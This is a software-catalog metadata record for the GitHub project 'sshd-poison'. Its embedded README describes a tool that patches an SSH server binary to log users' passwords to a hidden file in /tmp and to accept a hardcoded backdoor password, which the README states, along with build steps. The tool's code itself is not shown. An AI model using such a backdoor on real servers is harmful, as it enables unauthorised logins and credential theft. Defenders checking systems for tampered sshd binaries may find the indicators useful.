{"id":13827034,"url":"https://github.com/hc0d3r/sshd-poison","last_synced_at":"2025-07-09T02:33:21.994Z","repository":{"id":55632301,"uuid":"186243980","full_name":"hc0d3r/sshd-poison","owner":"hc0d3r","description":"sshd-poison is a tool that modifies a sshd binary to capture password-based authentications and allows you to login in some accounts using a magic-pass.","archived":false,"fork":false,"pushed_at":"2020-12-16T17:26:57.000Z","size":918,"stargazers_count":92,"open_issues_count":2,"forks_count":25,"subscribers_count":9,"default_branch":"master","last_synced_at":"2024-08-05T09:15:53.251Z","etag":null,"topics":["credentials-gathering","elf","hook","magic-pass","ssh"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/hc0d3r.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-05-12T11:03:35.000Z","updated_at":"2024-06-21T00:08:09.000Z","dependencies_parsed_at":"2022-08-15T05:00:38.025Z","dependency_job_id":null,"html_url":"https://github.com/hc0d3r/sshd-poison","commit_stats":null,"previous_names":[],"tags_count":2,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hc0d3r%2Fsshd-poison","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hc0d3r%2Fsshd-poison/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hc0d3r%2Fsshd-poison/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/hc0d3r%2Fsshd-poison/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/hc0d3r","download_url":"https://codeload.github.com/hc0d3r/sshd-poison/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225481179,"owners_count":17481170,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["credentials-gathering","elf","hook","magic-pass","ssh"],"created_at":"2024-08-04T09:01:48.842Z","updated_at":"2024-11-20T06:30:46.605Z","avatar_url":"https://github.com/hc0d3r.png","language":"C","funding_links":["https://www.paypal.com/cgi-bin/webscr?cmd=_donations\u0026business=RAG26EKAYHQSY\u0026currency_code=BRL\u0026source=url"],"categories":["\u003ca id=\"295e14c39bf33cd5136be8ced9383746\"\u003e\u003c/a\u003e工具"],"sub_categories":["\u003ca id=\"3bd67ee9f322e2c85854991c85ed6da0\"\u003e\u003c/a\u003e投毒\u0026\u0026Poisoning"],"readme":"sshd-poison\n===========\n\nsshd-poison is a tool that modifies a sshd binary to capture password-based authentications and allows you to login in some accounts using a magic-pass.\n\nThis only works with x86_64-elf file. Should work with openssh 7.7p1 up to 8.3p1. The code need some modifications to work with older versions.\n\nOpenSSH versions tested:\n\n* OpenSSH_7.9p1 Debian-10+deb10u2, OpenSSL 1.1.1d  10 Sep 2019\n* OpenSSH_8.3p1, OpenSSL 1.1.1g  21 Apr 2020\n\n\nMagic-pass\n----------\n\nUnhappily, the power of this magic is a bit limited.\nIf you try login as root, and root login is not allowed, or if the user isn't valid, it won't work.\n\nmagic-pass is ```anneeeeeeeeeeee```.\n\nLogfile\n-------\n\nCaptured passwords are stored in ```/tmp/.nothing```.\n\nThe strings are saved in reverse order in the following format: ```\\0password\\0user\\0ip```, or rather ```\\0drowssap\\0resu\\0pi```.\n\nCompiling\n---------\n\n```\n$ git clone --recurse-submodules https://github.com/hc0d3r/sshd-poison\n$ cd sshd-poison\n$ make\n```\n\nIf you want a different magic-pass/logfile, edit the following lines in **sc.asm**.\n\n```sh\nmagic_pass: db 'anneeeeeeeeeeee', 0x0\nlogfile: db '/tmp/.nothing', 0x0\n```\n\nDemo\n----\n\n![](https://raw.githubusercontent.com/hc0d3r/sshd-poison/media/demo.gif)\n\nLegal disclaimer\n----------\n\nUse for illegal purposes are not allowed.\n\nContributing\n------------\nYou can help with code, or donating money.\nIf you wanna help with code, use the kernel code style as a reference.\n\nPaypal: [![](https://www.paypalobjects.com/en_US/i/btn/btn_donate_SM.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_donations\u0026business=RAG26EKAYHQSY\u0026currency_code=BRL\u0026source=url)\n\nBTC: 19p3bnJ1t7DByfD8LdgU6WRSnUc2ftBxkP\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhc0d3r%2Fsshd-poison","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fhc0d3r%2Fsshd-poison","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fhc0d3r%2Fsshd-poison/lists"}